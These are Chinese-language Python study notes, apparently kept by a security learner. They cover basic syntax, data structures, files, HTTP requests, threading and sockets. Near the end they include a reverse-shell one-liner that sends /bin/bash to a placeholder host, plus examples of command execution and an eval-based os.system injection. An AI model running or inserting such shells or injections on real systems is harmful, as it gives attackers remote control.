前言 Python提供了高效的高级数据结构,还能简单有效地面向对象编程,由于Python语言的简洁性、易读性以及可扩展性,以及解释型语言的本质,使其成为脚本的首选语言
基础语法 在python中,**表示幂运算,只需要在两数之间用上**,就表明这两个数字进行乘方运算;其中第一操作数为底数,第二个操作数则为指数。例如2**3可表示2的三次方,结果为8
处理异常 try: <语句> #运行的代码 except <名字>: <语句> #如果在try部份引发了’name’异常 except <名字>,<数据>: <语句> #如果引发了’name’异常,获得附加的数据 else: <语句> #如果没有异常发生
注释 # 单行注释
1 2 3 4 5 6 7 ''' 第一类多行注释 ''' """ 第二类多行注释 """
输入,输出 输出
普通输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 print (""" 1 """ )s="你是sb吗?" print (s[-1 ]) print (s[0 :6 ])print (s[0 :6 :2 ])print ('当前字母为 :' , letter,'当前变量值为 :' , var)a = 'apple' print (f'这里有{a} ' )>>>这里有apple
format格式输出
1 2 3 4 5 6 print ("{}+{}={}" .format (i,j,i+j),end=" " )print ("{0}+{1}={3}" .format (i,j,i+j),end=" " )print ("{:.2f}F" .format (F))print ("{:x<4d}F" .format (10 ))print ()
通过%实现格式输出
1 2 3 4 5 6 7 8 9 10 11 >>> price = 24 >>> item = "banana" >>> print ("The %s costs %d cents" % (item, price))The banana costs 24 cents >>> print ("The %+10s costs %10.2f cents" % (item, price))The banana costs 24.00 cents >>> itemdict = {"item" :"banana" , "cost" :24 }>>> print ("The %(item)s costs %(cost)7.1f cents" % itemdict)The banana costs 24.0 cents >>>
输入 1 2 3 4 str = input ("请输入:" );import sysline = sys.stdin.readline().strip()
数据结构 bytes bytes是字节序列,本质上是一串不可变的整数序列 ,每个元素:0–255 的 int,即一个字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 a=b'1' a=b'\x35' print (a[0 ]) print (a) a=b'\x01\x02' b'\xa6' .hex () b'\x5523' .decode('utf-8' ) s.encode('utf-8' ) b = bytes ([65 , 66 , 67 ]) b'meow\x00' .ljust(0x28 , b'a' ) b'meow\x00' .rjust(0x28 , b'a' )
int 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 >>> ord ('A' )65 >>> chr (65 )'A' num = 10 val = hex (num) val = bin (num) val = int ('64' , 16 ) print (type (val), val)num = 100 hex_num = num.hex () print (hex_num)
str 1 2 3 4 5 6 7 8 9 10 str .isalpha()str .isdigit()str .isspace()str = "00000003210Runoob01230000000" print (str .strip('0' )) str2 = " Runoob " print (str2.strip()) str =str .replace("http://" ,"" )str_a in str_b
进制转义 上面的int和str还能用进制的方式表示,相当于是转义字符
写法
类型
含义
结果
0x70
int
十六进制整数
112
0o160
int
八进制整数
112
0b1110000
int
二进制整数
112
"\x70"
str
十六进制字符转义
"p"
"\160"
str
八进制字符转义
"p"
列表(list) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 str = "Line1-abcdef \nLine2-abc \nLine4-abcd" ;print str .split(); print str ..split(';' )[0 ] print str .splitlines() a=['I' ,'love' ,'China' ,'!' ] f.write('\n' .join(a)) list = ['G' , 'R' , 97 , 20 ]sqlist=[x*x for x in range (1 ,11 ) if x%2 !=0 ] del list [2 ] 3 in [1 , 2 , 3 ] for x in [1 , 2 , 3 ]: list .append(123 ) lst.extend('56' ) x=list .index("R" ) values = list (map (int , line.split())) aList = [123 , 'xyz' , 'zara' , 'abc' , 'xyz' ] aList.reverse() aList = ['Google' , 'Runoob' , 'Taobao' , 'Facebook' ] aList.sort() aList.sort(reverse=True ) lst = [[5 ,8 ],[5 ,3 ],[3 ,1 ]] lst.sort(key = lambda x : (x[1 ],x[0 ])) sum (lst, [])
sort 与 sorted 区别:
sort 是应用在 list 上的方法,sorted 可以对所有可迭代的对象进行排序操作。
list 的 sort 方法返回的是对已经存在的列表进行操作,无返回值,而内建函数 sorted 方法返回的是一个新的 list,而不是在原来的基础上进行的操作。
元组(tuple) 元组与列表的区别在与元组中的元素值是不允许修改,删除,添加的,但我们可以对元组进行连接组合list(seq)可将元组转换为列表tuple = ("a", "b", "c")
注意直接采用{},即s={}默认生成一个空字典;用s = set()创建一个空集合
字典(dict) d = {key1 : value1, key2 : value2, key3 : value3 } 字典是一个无序、可变和有索引的集合,键必须是唯一的,但值则不必,值可以取任何数据类型,但键必须是不可变的,如字符串,数字。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 for i in dishes: print (i) >>> dishes = {'eggs' : 2 , 'sausage' : 1 , 'bacon' : 1 , 'spam' : 500 }>>> keys = dishes.keys()>>> values = dishes.values()>>> >>>for i,j in dishes.items(): >>> print (i, ":\t" , j)>>> list (keys) ['eggs' , 'sausage' , 'bacon' , 'spam' ] >>> list (values)[2 , 1 , 1 , 500 ] >>> >>> del dishes['eggs' ]>>> del dishes['sausage' ]>>> list (keys)['bacon' , 'spam' ] data = json.loads(text1) data["answers" ] = data.pop("numbers" ) json_str = json.dumps(data)
添加,访问项目 通过使用新的索引键并为其赋值,可以将项目添加到字典中:thisdict["disappear"] = "s"
get(key) 方法在 key(键)不在字典中时,可以返回默认值 None 或者设置的默认值。
1 2 3 4 print ("Sex : " , tinydict.get('Sex' )) print ('Salary: ' , tinydict.get('Salary' , 0.0 ))
dict[key] 在 key(键)不在字典中时,会触发 KeyError 异常。
集合 parame = {value01,value02,...} 集合(set)是一个无序的不重复 元素序列。
使用 add() 方法向 set 添加项目:s.add( x )
集合去重set(x)
模块 python文件 一个 .py 文件就是一个模块 ,文件名去掉 .py 就是模块名,里面的函数、类、变量都能被导入
1 2 3 4 5 6 7 def add (a, b ): return a + b import mylibprint (mylib.add(1 , 2 ))
几种导入写法
1 2 3 4 5 import mylib import mylib as m from mylib import add from mylib import add as plus from mylib import *
if __name__ == "__main__": 的作用:自己直接运行时 __name__ 等于 "__main__",被别的文件 import 时 __name__ 是模块名,所以这句里面的代码只在”直接运行”时执行
1 2 3 4 5 6 def main (): print ("跑主逻辑" ) if __name__ == "__main__" : main()
同一个模块只会真正导入一次,之后都从 sys.modules 缓存里取
包 包就是一个带 __init__.py 的目录 (Python 3.3 之后可以没有,叫命名空间包)
1 2 3 4 mypkg/ ├── __init__.py # 包的初始化代码,可以为空 ├── a.py └── b.py
__init__.py 里常写 __all__,控制 from mypkg import * 到底导入哪些
模块的位置 import 时按 sys.path 列表的顺序 挨个找
1 2 import sysprint (sys.path)
顺序大致是
当前运行脚本所在目录
环境变量 PYTHONPATH 里的目录
标准库目录(Lib)
第三方库目录 Lib\site-packages,pip install 的包都在这
想临时加一个搜索目录
1 2 import syssys.path.append(r"D:\mycode" )
查某个模块的真实路径,以及是不是已经加载过
1 2 3 import requestsprint (requests.__file__) print ("requests" in sys.modules)
python查询 Python正则表达式(re模块)
re.searchre.search(pattern, string, flags=0) re.search 扫描整个字符串并返回第一个成功的匹配,匹配成功re.search方法返回一个匹配的对象 ,否则返回None 。 flag: re.I 忽略大小写 re.L 表示特殊字符集 \w, \W, \b, \B, \s, \S 依赖于当前环境 re.M 多行模式 re.S 即为 . 并且包括换行符在内的任意字符(. 不包括换行符) re.U 表示特殊字符集 \w, \W, \b, \B, \d, \D, \s, \S 依赖于 Unicode 字符属性数据库 re.X 为了增加可读性,忽略空格和 # 后面的注释
1 2 3 4 5 6 7 8 9 10 11 line = "Cats are smarter than dogs" searchObj = re.search( r'(.*) are (.*?) .*' , line, re.M|re.I) print ("searchObj.group() : " , searchObj.group()) print ("searchObj.group(1) : " , searchObj.group(1 )) print ("searchObj.group(2) : " , searchObj.group(2 )) print (re.search('www' , 'www.runoob.com' ).span()) print (re.search('com' , 'www.runoob.com' ).span())
re.findallre.findall(pattern, string, flags=0) 在字符串中找到正则表达式所匹配的所有子串,并返回一个列表 ,如果有多个匹配模式,则返回元组列表 ,如果没有找到匹配的,则返回空列表 。result=re.findall(r'\w*?\d+|\w+|[\x21-\x2f]|[\x3A-\x40]',lines)#按照顺序匹配str1=re.findall(r'\w{4}',str)
re.subre.sub(pattern, repl, string, count=0, flags=0) 替换字符串中的匹配项lines=re.sub(r'\\n\(\*.*?\*\)\\n','', lines)#去除注释
python文件 普通文本文件的读写 打开文件流 1 2 3 4 5 6 f=open (file='文件路径' ,mode='文件的操作方式' ,encoding='utf-8' ) 对文件操作 f.close() with open (file='文件路径' ,mode='文件的操作方式' ,encoding='utf-8' ) as f: 对文件的操作
r 以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。 w 打开一个文件只用于写入。如果该文件已存在则覆盖该文件,即原有内容会被删除。如果该文件不存在,创建新文件。 a 以追加的方式写,如果该文件不存在,创建新文件。 r+ 在‘r’功能的基础上写 w+ 在‘w’功能的基础上读 wb+ 以二进制的形式写
read f.read(size) 读取一定大小的数据, 然后作为字符串或字节对象返回f.readlines() 将文件中所有的行,一行一行全部读入一个列表内,按顺序一个一个作为列表的元素,并返回列表 。readlines方法会一次性将文件全部读入内存,所以也存在一定的弊端。但是它有个好处,每行都保存在列表里,可随意存取。
write f.write(text) 使用write()可以完成向文件写入数据。f.writelines(['','','']) 读取多段写入文本,需手动换行
csv文件的读写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 with open ('person.csv' , 'w' , encoding='utf-8' , newline='' ) as file_obj: writer = csv.writer(file_obj) writer.writerow(header) writer.writerows(person) with open ('tieba.csv' , 'w' , encoding='UTF-8' ) as f: writer = csv.DictWriter(f, fieldnames=['username' ,'地址' , 'content' , 'reply_time' ]) writer.writeheader() writer.writerows(result_list)
文件操作
删除文件1 2 3 4 5 6 # 要删除的文件名 filename1 = "1_msg1.txt" filename2 = "1_msg2.txt" # 删除文件 os.remove(filename1) os.remove(filename2)
python request get 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 proxies = { "http" : "http://127.0.0.1:8080" , "https" : "http://127.0.0.1:1080" , } headers={ 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0' } response=requests.get(short,params={'media_id' :media_id,'ps' :'20' ,'short' :'0' },headers=headers, proxies=proxies) print (response.text) print (response.content)print (response.json())set_cookie = response.headers.get("Set-Cookie" )
post 1 2 3 4 5 6 7 8 9 10 11 data = {"upload" :"Submit" } data = "key1=value&key2=value2" files = { "file" : ("test.xlsx" , open ("D:\\test.xlsx" , "rb" ), "application/octet-stream" ) } response = requests.post(url=url, data=data, files=files) if response.status_code == 200 : print ('Request succeeded!' )
aiohttp(并发请求) requests 是同步的,并发靠线程池;aiohttp 是异步的,单线程就能并发几百个请求,批量爬/批量探活更省资源
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import asyncio, aiohttpasync def fetch (session, url ): async with session.get(url, timeout=aiohttp.ClientTimeout(total=10 )) as resp: return resp.status, await resp.text() async def main (urls, limit=8 ): conn = aiohttp.TCPConnector(limit=limit) async with aiohttp.ClientSession(connector=conn) as session: tasks = [fetch(session, u) for u in urls] return await asyncio.gather(*tasks) urls = [f'https://example.com/{i} ' for i in range (10 )] print (asyncio.run(main(urls)))
python 多线程 适用场景
I/O 密集型任务:网络请求、文件操作这类主要时间花在等 I/O 上的,适合多线程
CPU 密集型任务:用多进程(multiprocessing),因为 GIL 让同一时刻只有一个线程执行 Python 字节码
起几个线程分别跑任务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import threading, timedef work (name, n=3 ): for i in range (n): print (name, i) time.sleep(0.1 ) t1 = threading.Thread(target=work, args=('wpp' ,)) t2 = threading.Thread(target=work, args=('ypp' ,)) t3 = threading.Thread(target=work, args=('others' ,), daemon=True ) t1.start(); t2.start(); t3.start() for t in (t1, t2, t3): t.join() print ("....." )
线程常用属性和方法:t.name、t.is_alive()、t.daemon、t.join(timeout=1)、threading.current_thread().name、threading.active_count()
生产者消费者(queue 传数据) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import threading, queue, timeq = queue.Queue(maxsize=5 ) def producer (): for i in range (10 ): q.put(i) print ('生产' , i) time.sleep(0.05 ) def consumer (): while True : item = q.get() print ('消费' , item) q.task_done() if item == 9 : break p = threading.Thread(target=producer) c = threading.Thread(target=consumer) p.start(); c.start() p.join(); c.join() q.join() print ('结束' )
线程池批量跑任务(ThreadPoolExecutor) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import hashlibimport reimport requestsfrom concurrent.futures import ThreadPoolExecutorBASE = "http://127.0.0.1:53746" WORKERS = 8 s = requests.Session() s.get(f"{BASE} /stage/3" ) cookies = s.cookies.get_dict() def fetch (invent ): r = requests.get(f"{BASE} /invent/{invent} " , cookies=cookies) if "verdict-ok" in r.text: return re.findall(r'data-code="([A-Z0-9]+)"' , r.text) return [] with ThreadPoolExecutor(max_workers=WORKERS) as ex: codes = sum (ex.map (fetch, range (3 , 289 , 3 )), []) answer = hashlib.sha256("|" .join(codes).encode()).hexdigest() print ("通过" , len (codes), "/48" )print ("sha256 =" , answer)r = s.post(f"{BASE} /api/finalize" , json={"answer" : answer}) print (r.text)
python 编码 1 2 3 4 5 from urllib.parse import quotetext1 ="""昆明植物园危化品~1\PC\\ """ url_encoded = quote(text11, encoding="gb2312" ) print (url_encoded)
python socket 网络编程 服务端流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import socketserver = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1 ) server.bind(('0.0.0.0' ,8000 )) server.listen() print ('staring....' )while True : conn , addr = server.accept() print (addr) while True : try : data = conn.recv(1024 ) if not data:break print ('客户端的数据:' ,data.decode('utf8' )) conn.send(data.upper()) except ConnectionResetError: break conn.close() server.close()
客户端流程
1 2 3 4 5 6 7 8 9 10 11 import socketclient = socket.socket(socket.AF_INET,socket.SOCK_STREAM) client.connect(('127.0.0.1' ,8000 )) while True : cmd = input (">>: " ).strip() if not cmd:continue client.send(cmd.encode("gbk" )) data = client.recv(1024 ) print (data.decode("gbk" )) client.close()
python反弹shell
1 2 3 4 5 6 7 8 import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('x.x.x.x' ,9383 )); os.dup2(s.fileno(),0 ); os.dup2(s.fileno(),1 ); os.dup2(s.fileno(),2 ); p=subprocess.call(['/bin/bash' ,'-i' ]);
python 命令执行函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import osos.system('whoami' ) print (os.popen('whoami' ).read())import subprocesssubprocess.run('whoami' ) subprocess.call('whoami' ) subprocess.check_call('whoami' ) subprocess.Popen('whoami' ) print (subprocess.check_output('whoami' ))print (subprocess.getoutput('whoami' ))print (subprocess.getstatusoutput('whoami' ))
python 代码执行函数 1 2 3 4 5 6 7 8 9 10 eval ('1+1' ) eval ('[i for i in range(3)]' ) eval ('x + 1' , {'x' : 41 }) eval ("__import__('os').system('whoami')" )exec ('print("hi")' ) exec ('import os' )